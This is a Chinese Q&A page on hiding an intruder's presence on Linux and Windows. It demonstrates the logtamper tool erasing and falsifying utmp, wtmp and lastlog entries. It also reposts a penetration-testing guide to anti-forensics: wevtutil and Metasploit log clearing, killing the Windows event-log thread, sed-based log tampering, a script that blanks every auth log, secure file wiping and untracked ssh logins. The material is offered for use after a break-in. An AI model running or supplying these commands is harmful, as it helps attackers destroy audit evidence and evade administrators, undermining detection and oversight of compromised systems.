Linux中清除痕迹和隐藏自己-清除last login 有啥可以修改的工具也可以发一下
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Linux中清除痕迹和隐藏自己-清除last login 有啥可以修改的工具也可以发一下相关的知识,希望对你有一定的参考价值。
注意使用logtamper,只能清除日志痕迹,而且主要针对utmp,wtmp,lastlog。而事实上,linux系统重要的会留下你的痕迹日志有:lastlog、utmp、wtmp、messages、syslog、sulog,所以不能完全依赖工具。此外,各种shell还会记录用户使用的命令历史,它使用用户主目录下的文件来记录这些命令历史,通常这个
文件的名字为.sh_history (ksh),.history (csh),或.bash_history (bash)等。
对于.bash_history(bash),可以简单的使用 histroy -c来清除记录。
logtamper version1.1
logtamper是一款*修改*linux日志的工具,在修改日志文件的同时,能够保留被修改文件的时间信息(atime没改,觉得没必要)。
[root@localhost logtamper]# ./logtamper-static
Logtamper v 1.1 for linux
Copyright (C) 2008 by xi4oyu
logtamper [-f utmp_filename] -h username hostname hide username connected from hostname
logtamper [-f wtmp_filename] -w username hostname erase username from hostname in wtmp file
logtamper [-f lastlog_filename] -m username hostname ttyname YYYY[:MM[:DD[:hh[:mm[:ss]]]]] modify lastlog info
-f 选项:用于指定要修改的文件的路径的,是个可选项。由于不同系统的日志存放路径不一样,可以手工指定。
默认的日志存放地点是:
#define UTMPFILE “/var/run/utmp”
#define WTMPFILE “/var/log/wtmp”
#define LASTLOGFILE “/var/log/lastlog”
-h 选项: 有时候你和管理员同时在线,管理员w一下就能看到你了。使用-h选项用户躲避管理员w查看,如下:
[root@localhost logtamper]# w
21:27:25 up 5 days, 13:48, 4 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 – Fri14 18:24m 0.33s 0.33s -bash
root pts/3 192.168.80.1 21:21 6:22 0.04s 0.04s -bash
root pts/2 192.168.80.1 21:06 0.00s 0.13s 0.00s w
root pts/4 192.168.80.1 21:21 5:52 0.03s 0.03s -bash
我们是从192.168.80.1机器连上来的,现在隐藏下:
[root@localhost logtamper]# ./logtamper-static -h root 192.168.80.1
Logtamper v 1.1 for linux
Copyright (C) 2008 by xi4oyu
Seems you’re invisible Now…Check it out!
[root@localhost logtamper]# w
21:27:46 up 5 days, 13:48, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root tty1 – Fri14 18:24m 0.33s 0.33s -bash
[root@localhost logtamper]#
-w 选项:用于清除你的登录日志,现在上的linux日志除工具做的很粗燥啊,这个可以指定清除某些hostname过来的机器。
[root@localhost logtamper]# last
root tty1 Wed Oct 1 21:30 – 21:30 (00:00)
root pts/4 192.168.80.1 Wed Oct 1 21:21 still logged in
root pts/3 192.168.80.1 Wed Oct 1 21:21 still logged in
wtmp begins Wed Oct 1 06:01:46 2008
清除192.168.80.1的登录日志:
[root@localhost logtamper]# ./logtamper-static -w root 192.168.80.1
Logtamper v 1.1 for linux
Copyright (C) 2008 by xi4oyu
Aho,you are now invisible to last…Check it out!
[root@localhost logtamper]# last
root tty1 Wed Oct 1 21:30 – 21:30 (00:00)
wtmp begins Wed Oct 1 06:01:46 2008
[root@localhost logtamper]#
-m 选项:用于修改上次登录地点,我们使用ssh登录的时候可能会注意到这点
login as: root
Sent username “root”
root@192.168.80.128’s password:
Last login: Wed Oct 1 21:31:40 2008 from 192.168.80.45
[root@localhost ~]#
如果不修改lastlog的话,管理员下次登录就会提示从我们的机器IP登录。使用-m选项可以编辑这个选项:
[root@localhost logtamper]# ./logtamper-static -m root 1.2.3.4 tty10 2008:1:1:1:1:1
Logtamper v 1.1 for linux
Copyright (C) 2008 by xi4oyu
Aho, now you never come here before…Check it out!
[root@localhost logtamper]#
当然,这只是个举例,在使用中各位请根据具体信息修改,下次管理员登录,登录界面就成了
login as: root
Sent username “root”
root@192.168.80.128’s password:
Last login: Tue Jan 1 01:01:01 2008 from 1.2.3.4
[root@localhost ~]#追问
工具的安装包发一个 你这个我都看过了
参考技术A Linux中清除痕迹和隐藏自己-清除last login内网渗透系列:痕迹清理方法小结
目录
前言
本文学习并小结下痕迹清理方法
一、Windows
1、常见日志
应用程序日志文件:%systemroot%\\system32\\config\\AppEvent.EVT;
安全日志文件:%systemroot%\\system32\\config\\SecEvent.EVT;
系统日志文件:%systemroot%\\system32\\config\\SysEvent.EVT;
DNS日志默认位置:%sys temroot%\\system32\\config,默认文件大小512KB
Internet信息服务FTP日志默认位置:%systemroot%\\system32\\logfiles\\msftpsvc1\\,默认每天一个日志;
Internet信息服务WWW日志默认位置:%systemroot%\\system32\\logfiles\\w3svc1\\,默认每天一个日志;
Scheduler服务日志默认位置:%sys temroot%\\schedlgu.txt;
以上日志在注册表里的键:
- 应用程序日志,安全日志,系统日志,DNS服务器日志,它们这些LOG文件在注册表中的:
HKEY_LOCAL_MACHINE\\system\\CurrentControlSet\\Services\\Eventlog
有的管理员很可能将这些日志重定位。其中EVENTLOG下面有很多的子表,里面可查到以上日志的定位目录。 - Schedluler服务日志在注册表中
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\SchedulingAgent
2、Windows日志清除
(1)wevtutil.exe
支持系统:Win7及以上
获取日志分类列表:
wevtutil el >1.txt
获取单个日志类别的统计信息:
wevtutil gli "windows powershell"
查看指定日志的具体内容:
wevtutil qe /f:text "windows powershell"
删除单个日志类别的所有信息:
wevtutil cl "windows powershell"
(2)NSA DanderSpiritz
参考:NSA DanderSpiritz测试指南——木马生成与测试
统计日志列表,查询所有日志信息,包含时间,数目
eventlogquery -log Application
查看指定类别的日志内容
eventlogfilter -log Application -num 10
删除该类日志所有内容
eventlogclear -log Application
删除单条内容
eventlogedit -log Application -record 1
3、绕过Windows日志
绕过原理:
Windows日志对应于eventlog服务,找到该服务对应的进程svchost.exe,进而筛选出svchost.exe进程中具体实现日志功能的线程,调用TerminateThread结束线程,破坏日志记录功能
特别的地方:
由于只结束了实现日志功能的线程,所以Windows Event Log服务没有被破坏,状态仍为正在运行
(1)方法1
- 定位eventlog服务对应进程svchost.exe的pid
- 遍历该进程中的所有线程
- 判断线程是否满足条件
Windows Event Log 服务需要调用wevtsvc.dll,完整路径为%WinDir%\\System32\\wevtsvc.dll
并且,如果线程调用了wevtsvc.dll,就可以判读该线程实现了日志记录功能 - 结束线程
使用TerminateThread - 恢复方法
结束进程svchost.exe
重新开启Windows Event Log 服务:net start eventlog
工具:https://github.com/hlldz/Phant0m
(2)方法2
- 定位eventlog服务对应进程svchost.exe的pid
找到svchost.exe的pid为7008Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
- 遍历该进程中的所有线程
使用PsList:pslist.exe /accepteula -d 7008
获取进程svchost.exe中的所有线程 - 判断线程是否满足条件
获取线程对应的服务,如果为eventlog,则满足条件
使用工具:ScTagQuery:sctagqry.exe -t 7928
根据返回的结果Service Tag,判断线程对应的服务
找到对应eventlog的线程 - 结束线程
调用TerminateThread
工具:https://github.com/3gstudent/Windows-EventLog-Bypass
4、Metasploit
run clearlogs
clearev #清除windows中的应用程序日志、系统日志、安全日志
5、3389登陆记录清除
@echo off
@reg delete "HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default" /va /f
@del "%USERPROFILE%\\My Documents\\Default.rdp" /a
@exit
6、清除recent
在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮
或直接打开C:\\Users\\Administrator\\Recent并删除所有内容
或在命令行中输入del /f /s /q “%userprofile%\\Recent*.*
二、Linux
1、清除命令历史记录
histroy -r #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录
2、在隐蔽的位置执行命令
使用vim打开文件执行命令
:set history=0
:!command
3、日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志
cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:
删除当天日志
sed -i '/当天日期/'d filename
篡改日志
将所有170.170.64.17ip替换为127.0.0.1
sed -i 's/170.170.64.17/127.0.0.1/g'
一键清除的bash脚本
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c
4、文件删除
(1)shred命令
实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数
shred -f -u -z -v -n 8 1.txt
(2)dd命令
可用于安全地清除硬盘或者分区的内容。
dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数
(3)wipe
Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。
wipe filename
(4)Secure-Delete
Secure-Delete 是一组工具集合,提供srm、smem、sfill、sswap,4个安全删除文件的命令行工具。
srm filename
sfill filename
sswap /dev/sda1
smem
5、隐藏远程SSH登陆记录
隐身登录系统,不会被w、who、last等指令检测到
ssh -T root@192.168.0.1 /bin/bash -i
不记录ssh公钥在本地.ssh目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
结语
小结下常见的痕迹清理方法
以上是关于Linux中清除痕迹和隐藏自己-清除last login 有啥可以修改的工具也可以发一下的主要内容,如果未能解决你的问题,请参考以下文章